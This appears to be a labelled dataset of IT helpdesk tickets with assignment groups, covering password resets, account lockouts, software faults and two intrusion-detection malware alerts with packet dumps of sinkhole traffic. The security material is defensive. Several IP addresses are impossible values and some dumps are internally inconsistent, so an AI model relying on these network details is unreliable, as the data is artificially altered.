bitte netzwerkverbindung für rechner vhw7020 herstellen (alicona messraum cs halle a),GRP_33 +"appreciate hub password _x000D_ +_x000D_ +received from: xwertljy.zrmlhkyq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please reset my appreciate hub password._x000D_ +_x000D_ +",GRP_0 +"account ""helftgyldt"" gesperrt anmeldung bei account ""helftgyldt"" nicht möglich. fehlermeldung : ""das angesprochene konto ist momentan gesperrt und kann nicht für die anmeldung verwendet werden.""",GRP_0 +reset passwords for qoybxkfh dwcmxuea using password_management_tool password reset. the,GRP_17 +outlook takes too much time to open. outlook takes too much time to open.,GRP_0 +unable to change password through password_management_tool unable to change password through password_management_tool,GRP_0 +"account ""jncvkrzm thjquiyl"" gesperrt anmeldung bei account ""jncvkrzm thjquiyl"" nicht möglich. fehlermeldung : ""das angesprochene konto ist momentan gesperrt und kann nicht für die anmeldung verwendet werden.""",GRP_0 +"access for printer wy15 for trainee + +received from: jczwxvdn.pexuklry@gmail.com + +hi, + +please provide access to wy15 printer (machine tool business) for below trainee. + +trainee name: blapmcwk dgrkbnua k +login id: vvkusgtms4 +computer no.: awyw8911656 + +",GRP_19 +"error when pgi for with t&d delivery 9169324512 gso,_x000D_ +please open an it ticket for the erp co group to review the issue below with t&d delivery 9169324512 where pgi does not work because of co assignment having different profit centers._x000D_ +_x000D_ +",GRP_44 +"account lock release request of ""nakagtwsgs"" hi team, + +please unlock the windows account ""nakagtwsgs"". + +user name：qwghlvdx pjwvdiuz + + +best ",GRP_0 +"password reset -hsh hello: + +one of the workman aqihfoly xsrkthvf whose user id is hsh is not able to login to ess as his user id locked. he is a kiosk user. please re-set his password and confirm. + +noscwdpm akiowsmp +manager, hr shared services center +noscwdpm.akiowsmp@gmail.com +",GRP_0 +"picture in collaboration_platform / outlook / skype (user: faerfrtbj) my profile shows different pictures on collaboration_platform / outlook / skype. see attached screenshots. the correct one should be the one shown on attachment ""actual.jpg""",GRP_16 +"job Job_485 failed in job_scheduler at: 09/23/2016 02:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_485 failed in job_scheduler at: 09/23/2016 02:31:00_x000D_ +_x000D_ +9/23/2016 1:05:55 am :: unable to release guest. error: failed to unfreeze guest system (network mode)_x000D_ +rpc function call failed. function name: [unfreeze]. target machine: [10.2.18.54]._x000D_ +rpc error:the remote procedure call failed._x000D_ + code: 1726 _x000D_ +",GRP_8 +"password reset + +received from: bctypmjw.cbhnxafz@gmail.com + +dear collegues, + +i need a password reset for erp hrp modul. + +username: rethtyuzkd + +gruß/",GRP_0 +can i be allowed to use dropbox ? marcom team has assigned a task of proofreading. it requires me to download into dropdox. ,GRP_0 +erp account gesperrt erp-passwort 3mal verkehrt eingegeben - bitte erp-account freischalten.,GRP_0 +"add the rtpcnyhq ceqmwkhi to materials_management / purchasing + +received from: inxsupmy.zhwmifvx@gmail.com + +hello team, + +can you please add rtpcnyhq ceqmwkhi to the materials_management/purchasing group in ticketing_tool . + +inxsupmy zhwmifvx +team lead - ssl (sourcing & logistics) - global it +inxsupmy.zhwmifvx@gmail.com +",GRP_0 +"job bwhrertran failed in job_scheduler at: 09/23/2016 00:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrertran failed in job_scheduler at: 09/23/2016 00:17:00",GRP_9 +india coating: interface: vlan1 on company-ap-ind-india-coating-dmvpn-891-rtr01 is down since 9/22/2016 11:12 pm et. india coating: interface: vlan1 on company-ap-ind-india-coating-dmvpn-891-rtr01 is down since 9/22/2016 11:12 pm et.,GRP_8 +"engineering tool log in problem _x000D_ +_x000D_ +received from: dwsyaqpr.bzasnmvw@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i have changed the password of engineering tool 2days back. it showed that it is successfully changed._x000D_ +still i am not able to login._x000D_ +_x000D_ +please check the error message in the below image._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35577.c8358d50]_x000D_ +_x000D_ +",GRP_0 +"engineering_tool problem hello_x000D_ +i can not add a new customer while making a new engineering_tool._x000D_ +i entered the country and the city._x000D_ +there used to be a button new, but not anymore._x000D_ +_x000D_ +",GRP_25 +"apac, apac: temprature sensor#1, yellow - on company-ap-chn-apac-3750-access-sw02 on 9/22/2016 at 9:50 pm et. sw#1, temperature sensor#1, yellow - on company-ap-chn-apac-3750-access-sw02_x000D_ + hardware component: warning or critical state detected",GRP_4 +vip 2 - outlook not working - receiving a message that it is not a licensed product outlook not working - receiving a message that it is not a licensed product,GRP_19 +"urgent - new customer account _x000D_ +_x000D_ +received from: aunpdmlj.kzhapcve@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +unable to proceed with opening a new customer account #81053922._x000D_ +_x000D_ +please advise as what the issue is?_x000D_ +_x000D_ +[cid:image003.jpg@01SID_35583.6ed99ce0]_x000D_ +_x000D_ +",GRP_15 +"sign in password _x000D_ +_x000D_ +received from: fpedscxo.acuvyqnx@gmail.com_x000D_ +_x000D_ +team,_x000D_ +_x000D_ +i was recently advised that my password needed changing._x000D_ +i went to the password manager site and changed passwords._x000D_ +_x000D_ +all passwords for different things changed except one, my startup to log onto computer failed to change how do i change this one._x000D_ +_x000D_ +",GRP_0 +"boot up issue with the laptop. boot up issue with the laptop. +-user requesting local it to check the laptop as the pc is not booting up at all. +-user tried to plug in the power adaptor .still no go. +-service tag: 7658r32 +-asset tag: 405268 +-ph: + ",GRP_3 +":my computer keeps going off line name:sndaofyw jetcxpda +language: +browser:microsoft internet explorer +email:vichtyuky.warhtyonack@company.com +customer number: +telephone: +summary:my computer keeps going off line",GRP_0 +"job Job_555 failed in job_scheduler at: 09/22/2016 18:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_555 failed in job_scheduler at: 09/22/2016 18:17:00",GRP_8 +"job SID_46filesys failed in job_scheduler at: 09/22/2016 18:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_46filesys failed in job_scheduler at: 09/22/2016 18:16:00",GRP_8 +"user not recieving email on the iphone. user not recieving email on the iphone._x000D_ +-checked the user account .all fine._x000D_ +-checked the user accont on the ecp site.all fine._x000D_ +-advised the user to contact vendor._x000D_ +_x000D_ +",GRP_0 +"vip 2: skype login issue. name:rgtyob lafgseimer +language: +browser:microsoft internet explorer +email:pjcompanyfeg.wnrcyaks@gmail.com +customer number: +telephone: +summary:reset password today now skype will not take password",GRP_0 +"job SID_47filesys failed in job_scheduler at: 09/22/2016 17:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_47filesys failed in job_scheduler at: 09/22/2016 17:01:00",GRP_8 +"software installation name:uprmwlgb kirvecja +language: +browser:microsoft internet explorer +email:uprmwlgb.kirvecja@gmail.com +customer number: +telephone: +summary:software installation",GRP_0 +unable to print erp jobs from prtqv7282 after routing it from prtqv0001 unable to print erp jobs from prtqv7282 after routing it from prtqv0001 ,GRP_45 +change printer from prtqv0001 to prtqv7282 change printer from prtqv0001 to prtqv7282,GRP_0 +"request to reset microsoft online services password for vmdwslkj.exvcknbp@gmail.com from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: thursday, september 22, 2016 7:57 pm +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: amar - request to reset microsoft online services password for vmdwslkj.exvcknbp@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• vmdwslkj.exvcknbp@gmail.com +• first name: angyta hgywselena +• last name: brescsfgryiani acgyuna + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +bill hartwell can't access drawings on \\HostName_1330\departments\engineering\process sheets cadkey dwgs please assign bill the necessary permissions so that he can open the drawings (see attachment),GRP_12 +"quoting engine + +received from: iauqlrjk.nijdaukz@gmail.com + +hello, + +i have 2 previous tickets for an issue that i am experiencing again today. i am not sure why i keep having this issue, can someone help me understand if it is something i am doing wrong? this is something i use daily and need access to. +inc1547050 – 9/05/16 +inc1542047 – 8/18/16 + + +description: when i try to look at a configuration for a rqfhiong zkwfqagb, i get an error - while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist' + +",GRP_14 +product selector not working please investigate the issue with the product selector. currently no data is being loaded on the company website.,GRP_51 +"no display on the external monitor connected through docking station no display on the external monitor connected through docking station_x000D_ +_x000D_ +i request you to kindly look into a video display issue on my computer where i do not get display on the external monitor when docked to the docking station. i have tried on other docking stations and have not been able to get the display on the external monitor. i've had this issue for over three months and it was intermittent earlier. _x000D_ +i had discussed this with ghkkytu and he is aware of this issue as we have worked on it together._x000D_ +we have reinstalled video drivers but issue still persists. i will leave the computer with security _x000D_ +request assistance on the same._x000D_ +",GRP_19 +ticket update on ticket_no0442920 ticket update on ticket_no0442920,GRP_0 +unable to print from printer // install driver unable to print from printer // install driver,GRP_0 +"mscrm: outlook not opening. mscrm: outlook not opening._x000D_ +-connected to the user system using teamviewer._x000D_ +-reconfigured the user profile ._x000D_ +-launched outlook._x000D_ +-caller confirmed that he is now able to see the emails on outlook._x000D_ +-issue resolved.",GRP_0 +"outlook on my pc won't open. stays on the open screen and won't complete. been like this for 2 days. + + + +(in an off-site meeting so may not be able to answer phone for a while)",GRP_0 +unable to access windows account unable to access windows account,GRP_0 +"auf den totmannhandys ist eine störung. auf den totmannhandys ist eine störung._x000D_ +"" techn. störung dps-request fehlt ! """,GRP_42 +urgent help required- crm mobile app loading crm mobile app times out and returns to phone desktop before completing download,GRP_0 +"user haveing issues with the skype audio. user haveing issues with the skype audio._x000D_ +-connected to the user system using teamviewer._x000D_ +-checked the audio settings ._x000D_ +-gave a uacyltoe hxgaycze call to the user.all fine._x000D_ +-issue resolved.",GRP_0 +"job Job_3194 failed in job_scheduler at: 09/22/2016 14:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3194 failed in job_scheduler at: 09/22/2016 14:15:00",GRP_10 +"collaboration_platform permission help i made a mistake and change the permissions do basically everything on the following page. i wanted to see if there was a way to restore all permissions to what they were yesterday?_x000D_ +_x000D_ +_x000D_ +",GRP_16 +"user wanted help to check if a email was spam. user wanted help to check if a email was spam._x000D_ +-connected to the user system using teamviewer._x000D_ +-assigned the ticket to the spam._x000D_ +-educated the user on the same._x000D_ +-issue resolved.",GRP_0 +"skype problem! _x000D_ +_x000D_ +received from: ztdgvclp.gzcalstq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i am having a problem with skype. i am not able to find my colleagues!!!_x000D_ +[cid:image001.png@01SID_354d3.4a1aefe0]_x000D_ +_x000D_ +",GRP_0 +ie cleanup ie cleanup,GRP_0 +"unable to access bex analyzer unable to access bex analyzer as nothing happens when click + +pc name: lmdl8516210 + +phone: ",GRP_19 +erp login information misplaced password reset needed,GRP_0 +ticket update inplant_862994 ticket update inplant_862994,GRP_0 +outlook asking to reactivate outlook asking to reactivate ,GRP_27 +"unable to print from the printer hp color laser cp4005 pcl6-cl33 unable to print from the printer hp color laser cp4005 pcl6-cl33_x000D_ +-connected to the user system using teamviewer._x000D_ +-the printer keeps asking to update drivers._x000D_ +-tried to install the drivers . no go_x000D_ +-contact : -8093_x000D_ +-computer name : lhql8516312_x000D_ +-user wants to have local it look as there are many users faceing similar issue.",GRP_3 +usb port issue usb ports not works at time,GRP_19 +ie upgrade upgraded the ie to 11 on uacyltoe hxgaycze workstation.,GRP_19 +user wants to change the erp printer prt1: prtqv0001 to prt2:prtqz7282 user wants to change the erp printer prt1: prtqv0001 to prt2:prtqz7282,GRP_0 +windows account locked windows account locked,GRP_0 +":i am trying to find an expense report to approve. i have an email that says i have one to approve. it is not showing up name:bonhyb knepkhsw +language: +browser:microsoft internet explorer +email:xziwkgeo.gdiraveu@gmail.com +customer number: +telephone: +summary:i am trying to find an expense report to approve. i have an email that says i have one to approve. it is not showing up.",GRP_0 +crm app installation crm app installation,GRP_0 +"cannot connect to \\HostName_779\engineering_application going through company vpn. i can access HostName_770, HostName_768 and HostName_776. cannot connect to \\HostName_779\engineering_application going through company vpn. i can access HostName_770, HostName_768 and HostName_776 servers through the vpn. i can access HostName_779 at the office. i can not access remotely through vpn.company.com.",GRP_12 +unable to install crm app on galaxy s3 user has a samsung galaxy s3 device with android 4.3 as the os on it. he wants to install and use the dynamics crm app but that app requires android 4.4 as a minimum. ,GRP_63 +ticket update on inplant_861679 ticket update on inplant_861679,GRP_0 +"erp vc - configair application in SID_1 uacyltoe hxgaycze environment not working - 500 internal server error configair server in uacyltoe hxgaycze environment SID_1 responds with 500 internal server error:   error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist' _x000D_ +this happens when i log on erp with language ""de"" german. it is happening for both models csscdrill and mill_model._x000D_ +in case i log on erp in en language the csscdrill model is working fine. but the mill_model model comes up and when i select a product platform the system hangs up at 90%.",GRP_14 +"HostName_986: application ""plm scheduled tasks monitor"" on node ""HostName_986"" is in a critical state HostName_986: application ""plm scheduled tasks monitor"" on node ""HostName_986"" is in a critical state ",GRP_14 +password reset password reset,GRP_0 +"EU_tool issue EU_tool is having issue since we i upgraded to 64 bit. keeps saying out of memory + +phone: ",GRP_25 +"need to upgrade ie 11 could you please confirm if this upgrade occurred? i was out of town during the week of the upgrade and was never prompted for anything, so i suspect that this didn't happen. if so, i'll need to schedule an upgrade for this computer please.",GRP_0 +"sometimes ship to address is changed from the system examples _x000D_ +5616762610_x000D_ +4505623480_x000D_ +5616737367_x000D_ +4505646259_x000D_ +problem as discussed in key user call from 09/21",GRP_29 +"job Job_1394 failed in job_scheduler at: 09/22/2016 10:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1394 failed in job_scheduler at: 09/22/2016 10:55:00",GRP_9 +"engineering_tool issue high importance _x000D_ +_x000D_ +received from: xkegcqov.drctxjqi@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01SID_354be.f00aff40]_x000D_ +_x000D_ +_x000D_ +i submitted several reports a couple of days ago and now it will not let me create a new report?_x000D_ +need this issue resplved._x000D_ +",GRP_25 +ticket update on inplant_862933 ticket update on inplant_862933,GRP_0 +"need access to user's collaboration_platform need access to user's collaboration_platform_x000D_ +_x000D_ +_x000D_ +summary:cowqyjzm fzsxgapt has informed me that stefyty smhdyhtis collaboration_platform for business will be permanently deleted in 7 days. i need access to his collaboration_platform to see if there is any information on their that we need. ",GRP_16 +"erp pur - wrong subcontracting demand for mm 3784477 hello,_x000D_ +material 4895588 shows 2 pieces demand in plant_283 for parent mm 7236071 which refers to subcontracting po 5616525187._x000D_ +the po has been closed already. the component had been shipped to the vendor with a 541 movement and has been booked out with the 543 movement together with the 101 movement for the good receipt. _x000D_ +why shows erp still a demand of 2 pieces for that po?_x000D_ +how can this ""wrong"" demand been cleaned?_x000D_ +",GRP_29 +"cannot access collaboration_platform i can't access my collaboration_platform. it asks me my username and password and then goes into a constant loop of those two fields. once entered, i never actually get to collaboration_platform. ",GRP_0 +"vitalyst // unable to see customer list in crm vitalyst // unable to see customer list in crm. see attached screenshot + +user id - lehhywsmat +contact no - ",GRP_22 +"account locked ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +rbozivdq gmlhrtvp + hi jonnht +bnoupaki cpeioxdz + hello +rbozivdq gmlhrtvp + it's not showing as locked + can you tell me what's the error you're getting? +bnoupaki cpeioxdz + now i can log in. not sure why i was temporarily unable to do so. all seems to be ok. ",GRP_0 +"erp netweaver error + +received from: unrbafjx.reyshakw@gmail.com + +hello, + +i have this error when starting erp netweaver, can you please help to solve ? + +[cid:image001.png@01SID_354ed.42570791] + + +[cid:image002.png@01SID_354ed.42570791] + +unrbafjx reyshakw +global portfolio manager +advanced materials / pcd + + + + + +",GRP_0 +password reset - erp SID_34 reset the erp SID_34 password as marcel had issues logging in after resetting his password using password_management_tool.,GRP_0 +unable to connect to home printer unable to connect to home printer ,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"PR create a purchase requisition with purchasing does not work any more. i got following error massage :_x000D_ +_x000D_ +action could not be performed _x000D_ +no data found for employee 00000etc inform system administrator ",GRP_29 +"security incidents - ( #in33944691 ) : possible malware infection - traffic from sinkhole domain to tims-iphone source ip: 195.272.28.222 +source port: 80 +source ip geolocation: lisbon, prt +destination ip: 10.201.40.86 +destination hostname: tims-iphone +system name :not found +user name:not found +location :usa +sep , sms status :not found +field sales user ( yes / no) : no +dsw event log:see below +========================= +event data +========================= +related events: +event id: 416678855 +event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset +occurrence count: 4 +event count: 2 + +host and connection information +source ip: 195.272.28.222 +source port: 80 +source ip geolocation: lisbon, prt +destination ip: 10.201.40.86 +destination hostname: tims-iphone +destination port: 50867 +destination mac address: 4c:7c:5f:36:97:8d +connection directionality: incoming +protocol: tcp +http status code: 302 + +device information +device ip: 10.32.100.17 +device name: isensor03.company.com +log time: 2016-09-22 at 10:40:17 utc +action: not blocked +vendor eventid: 727755 +cvss score: -1 +vendor priority: 2 +vendor version: 7 + +scwx event processing information +sherlock rule id (sle): 699417 +inspector event id: 072629004 +ontology id: 200020003203755736 +event type id: 200020003203582148 +agent id: 102805 + +event detail: +[**] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [**] +[classification: none] [priority: 2] [action: accept] [impact_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1] +[sensor id: 602982][event id: 727755][time: 2585651928.978762] +[src ip: 195.22.28.222][dst ip: 10.20.40.86][sport/itype: 80][dport/icode: 50867][proto: 6] +09/22/2016-10:40:17.978762 195.22.28.222:80 -> 10.20.40.86:50867 +tcp ttl:55 tos:0x0 id:35970 iplen:20 dgmlen:390 df +***ap*** seq: 0x67a1bbf6 ack: 0x8043a3dc win: 0x35 tcplen: 32 +tcp options (3) => nop nop ts: 4914239511 340005971 +==pcap 1== + +[o:security] + +[correlation_data] +sep 22 06:32:17 27.38.93.278 dhcpd[27069]: dhcpack on 10.20.40.86 to 4c:7c:5f:36:97:8d (tims-iphone) via eth1 relay 62.61.65.018 lease-duration 432000 (renew) + +ascii packet(s): +==pcap 1 ascii s== +.......wj...........e.....@.7.........(v.p..g....c.....5au........""p.n..http/1.1.302.moved.temporarily..server:.nginx..date:.thu,.22.sep.2016.10:40:18.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=c3613dd3017c909140052247b5cfac27;.domain=.myslidz.com..location:. +==pcap 1 ascii e== + +hex packet(s): +==pcap 1 hex s== +000000 0c00 0000 11b5 e357 4aef 0e00 8601 0000 .......wj....... +000010 8601 0000 4500 0186 8c82 4000 3706 a391 ....e.....@.7... +000020 c316 1cde 0a14 2856 0050 c6b3 67a1 bbf6 ......(v.p..g... +000030 8043 a3dc 8018 0035 6155 0000 0101 080a .c.....5au...... +000040 e2af 2250 0e4e 07ec 4854 5450 2f31 2e31 ..""p.n..http/1.1 +000050 2033 3032 204d 6f76 6564 2054 656d 706f .302.moved.tempo +000060 7261 7269 6c79 0d0a 5365 7276 6572 3a20 rarily..server:. +000070 6e67 696e 780d 0a44 6174 653a 2054 6875 nginx..date:.thu +000080 2c20 3232 2053 6570 2032 3031 3620 3130 ,.22.sep.2016.10 +000090 3a34 303a 3138 2047 4d54 0d0a 436f 6e74 :40:18.gmt..cont +0000a0 656e 742d 5479 7065 3a20 7465 7874 2f68 ent-type:.text/h +0000b0 746d 6c0d 0a43 6f6e 6e65 6374 696f 6e3a tml..connection: +0000c0 2063 6c6f 7365 0d0a 5365 742d 436f 6f6b .close..set-cook +0000d0 6965 3a20 616e 6274 723d 6333 3631 3364 ie:.anbtr=c3613d +0000e0 6433 3031 3763 3738 3739 3238 3833 3031 d3017c9091400522 +0000f0 3437 6235 6366 6163 3237 3b20 646f 6SID_26 47b5cfac27;.doma +000100 696e 3d2e 6d79 736c 6964 7a2e 636f 6d0d in=.myslidz.com. +000110 0a4c 6f63 6174 696f 6e3a 2068 7474 703a .location:.http: +000120 2f2f 7873 736f 2e61 7069 2e6d 7973 6c69 //xsso.api.mysli +000130 647a 2e63 6f6d 2f63 3336 3133 6464 3330 dz.com/c3613dd30 +000140 3137 6337 3837 3932 3838 3330 3134 3762 17c909140052247b +000150 3563 6661 6332 370d 0a0d 0a47 6f20 6874 5cfac27....go.ht +000160 7470 3a2f 2f78 7373 6f2e 6170 692e 6d79 tp://xsso.api.my +000170 736c 6964 7a2e 636f 6d2f 6333 3631 3364 slidz.com/c3613d +000180 6433 3031 3763 3738 3739 3238 3833 3031 d3017c9091400522 +000190 3437 6235 6366 6163 3237 47b5cfac27 +==pcap 1 hex e== + +event id: 416678840 +event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset +occurrence count: 4 +event count: 2 + +host and connection information +source ip: 195.22.26.248 +source hostname: 248.192/26.26.22.195.in-addr.arpa. +anubisnetworks.com. +source port: 80 +source ip geolocation: lisbon, prt +destination ip: 10.20.40.86 +destination hostname: tims-iphone +destination port: 50867 +destination mac address: 4c:7c:5f:36:97:8d +connection directionality: incoming +protocol: tcp +http status code: 302 + +device information +device ip: 10.32.100.17 +device name: isensor03.company.com +log time: 2016-09-22 at 10:40:17 utc +action: not blocked +vendor eventid: 727755 +cvss score: -1 +vendor priority: 2 +vendor version: 7 + +scwx event processing information +sherlock rule id (sle): 699417 +inspector event id: 072629004 +ontology id: 200020003203755736 +event type id: 200020003203582148 +agent id: 102805 + +event detail: +[**] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [**] +[classification: none] [priority: 2] [action: accept] [impact_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1] +[sensor id: 602982][event id: 597040][time: 2585651929.453577] +[src ip: 195.22.26.248][dst ip: 10.20.40.86][sport/itype: 80][dport/icode: 50873][proto: 6] +09/22/2016-10:40:18.453577 195.22.26.248:80 -> 10.20.40.86:50873 +tcp ttl:55 tos:0x0 id:48955 iplen:20 dgmlen:284 df +***ap*** seq: 0x4abba086 ack: 0xf5079dce win: 0x35 tcplen: 32 +tcp options (3) => nop nop ts: 4914239629 340006418 +==pcap 1== + +[o:security] + +[correlation_data] +sep 22 06:32:17 27.38.93.278 dhcpd[27069]: dhcpack on 10.20.40.86 to 4c:7c:5f:36:97:8d (tims-iphone) via eth1 relay 62.61.65.018 lease-duration 432000 (renew) + +ascii packet(s): +==pcap 1 ascii s== +.......w............e....;@.7.s(......(v.p..j..........5r.........""..n..http/1.1.200.ok..server:.nginx..date:.thu,.22.sep.2016.10:40:18.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=c3613dd3017c909140052247b5cfac27;.domain=.myslidz.com..content-encoding:.gzip........................ +==pcap 1 ascii e== + +hex packet(s): +==pcap 1 hex s== +000000 0c00 0000 12b5 e357 c9eb 0600 1c01 0000 .......w........ +000010 1c01 0000 4500 011c bf3b 4000 3706 7328 ....e....;@.7.s( +000020 c316 1af8 0a14 2856 0050 c6b9 4abb a086 ......(v.p..j... +000030 f507 9dce 8018 0035 729f 0000 0101 080a .......5r....... +000040 e2af 22c6 0e4e 09ab 4854 5450 2f31 2e31 ..""..n..http/1.1 +000050 2032 3030 204f 4b0d 0a53 6572 7665 723a .200.ok..server: +000060 206e 6769 6e78 0d0a 4461 7465 3a20 5468 .nginx..date:.th +000070 752c 2032 3220 5365 7020 3230 3136 2031 u,.22.sep.2016.1 +000080 303a 3430 3a31 3820 474d 540d 0a43 6f6e 0:40:18.gmt..con +000090 7465 6e74 2d54 7970 653a 2074 6578 742f tent-type:.text/ +0000a0 6874 6d6c 0d0a 436f 6e6e 6563 7469 6f6e html..connection +0000b0 3a20 636c 6f73 650d 0a53 6574 2d43 6f6f :.close..set-coo +0000c0 6b69 653a 2061 6e62 7472 3d63 3336 3133 kie:.anbtr=c3613 +0000d0 6464 3330 3137 6337 3837 3932 3838 3330 dd3017c898039941 +0000e0 3134 3762 3563 6661 6332 373b 2064 6f6d 147b5cfac27;.dom +0000f0 6169 6e3d 2e6d 7973 6c69 647a 2e63 6f6d ain=.myslidz.com +000100 0d0a 436f 6e74 656e 742d 456e 636f 6469 ..content-encodi +000110 6e67 3a20 677a 6970 0d0a 0d0a 1f8b 0800 ng:.gzip........ +000120 0000 0000 0003 0300 0000 0000 0000 0000 ................ +==pcap 1 hex e==",GRP_2 +" ship-to # 81051078 + 81053823 created in distributor_tool / not visible in ecc i have created a new ship-to # 81053823 for the sold-to # 81543703 via distributor_tool._x000D_ +this ship-to can't be found either in ecc nor in distributor_tool. _x000D_ +you can only see that it actually exists in crm. _x000D_ +same situation as with ship-to # 81051078._x000D_ +_x000D_ +all the data are complete in crm and the system does not show any errors. but for some reason, these ship-to's are not transferred into ecc._x000D_ +could you please look at that?_x000D_ +",GRP_15 +"security incidents - ( #in33944327) :possible malware infection - traffic from sinkhole domain to ekxl7000016 source ip :_x000D_ +system name :_x000D_ +user name:_x000D_ +location :_x000D_ +sep , sms status :_x000D_ +field sales user ( yes / no) : _x000D_ +dsw event log:_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 5286271_x000D_ +event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset_x000D_ +occurrence count: 3_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 195.22.26.248_x000D_ +source hostname: 248.192/26.26.22.195.in-addr.arpa._x000D_ +anubisnetworks.com._x000D_ +source port: 80_x000D_ +source ip geolocation: lisbon, prt_x000D_ +destination ip: 08.79.36.8523_x000D_ +destination hostname: ekxl8111127 _x000D_ +destination port: 50049_x000D_ +destination mac address: 3c:a9:f4:22:ba:ec_x000D_ +connection directionality: incoming_x000D_ +protocol: tcp_x000D_ +http status code: 200_x000D_ +_x000D_ +device information_x000D_ +device ip: 10.16.4.16_x000D_ +device name: isensor04.company.com_x000D_ +log time: 2016-09-22 at 09:35:51 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 590716_x000D_ +cvss score: -1 _x000D_ +vendor priority: 2_x000D_ +vendor version: 7_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 699417_x000D_ +inspector event id: 638402921_x000D_ +ontology id: 200020003203755736_x000D_ +event type id: 200020003203582148_x000D_ +agent id: 102823_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [**]_x000D_ +[classification: none] [priority: 2] [action: accept] [impact_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 602983][event id: 590716][time: 2585647062.510177]_x000D_ +[src ip: 195.22.26.248][dst ip: 08.79.36.8523][sport/itype: 80][dport/icode: 50049][proto: 6]_x000D_ +09/22/2016-09:35:51.510177 195.22.26.248:80 -> 08.79.36.8523:50049_x000D_ +tcp ttl:55 tos:0x0 id:21540 iplen:20 dgmlen:279 df_x000D_ +***ap**f seq: 0xf7ae9448 ack: 0x5dd9d0de win: 0x68b0 tcplen: 20_x000D_ +==pcap 1==_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 22 04:02:00 60.43.89.120 dhcpd[23598]: dhcpack on 08.79.36.8523 to 3c:a9:f4:22:ba:ec (ekxl8111127) via eth2 relay 97.65.25.820 lease-duration 604729 (renew)_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +.......w............e...t$@.7............p.....h]...p.h.....http/1.1.200.ok..server:.nginx..date:.thu,.22.sep.2016.09:35:51.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=f34d5b1ccc2b299beffaf2b6227b7a09;.domain=.space-ambiance.com..content-encoding:.gzip........................_x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 f7a5 e357 e1c8 0700 1701 0000 .......w........_x000D_ +000010 1701 0000 4500 0117 5424 4000 3706 f5ab ....e...t$@.7..._x000D_ +000020 c316 1af8 0a10 10f3 0050 c381 f7ae 9448 .........p.....h_x000D_ +000030 5dd9 d0de 5019 68b0 171f 0000 4854 5450 ]...p.h.....http_x000D_ +000040 2f31 2e31 2032 3030 204f 4b0d 0a53 6572 /1.1.200.ok..ser_x000D_ +000050 7665 723a 206e 6769 6e78 0d0a 4461 7465 ver:.nginx..date_x000D_ +000060 3a20 5468 752c 2032 3220 5365 7020 3230 :.thu,.22.sep.20_x000D_ +000070 3136 2030 393a 3335 3a35 3120 474d 540d 16.09:35:51.gmt._x000D_ +000080 0a43 6f6e 7465 6e74 2d54 7970 653a 2074 .content-type:.t_x000D_ +000090 6578 742f 6874 6d6c 0d0a 436f 6e6e 6563 ext/html..connec_x000D_ +0000a0 7469 6f6e 3a20 636c 6f73 650d 0a53 6574 tion:.close..set_x000D_ +0000b0 2d43 6f6f 6b69 653a 2061 6e62 7472 3d66 -cookie:.anbtr=f_x000D_ +0000c0 3334 6435 6231 6363 6332 6232 3939 6265 34d5b1ccc2b299be_x000D_ +0000d0 6666 6166 3262 3632 3237 6237 6130 393b ffaf2b6227b7a09;_x000D_ +0000e0 2064 6f6d 6169 6e3d 2e73 7061 6365 2SID_26 .domain=.space-a_x000D_ +0000f0 6d62 6961 6e63 652e 636f 6d0d 0a43 6f6e mbiance.com..con_x000D_ +000100 7465 6e74 2d45 6e63 6f64 696e 673a 2067 tent-encoding:.g_x000D_ +000110 7a69 700d 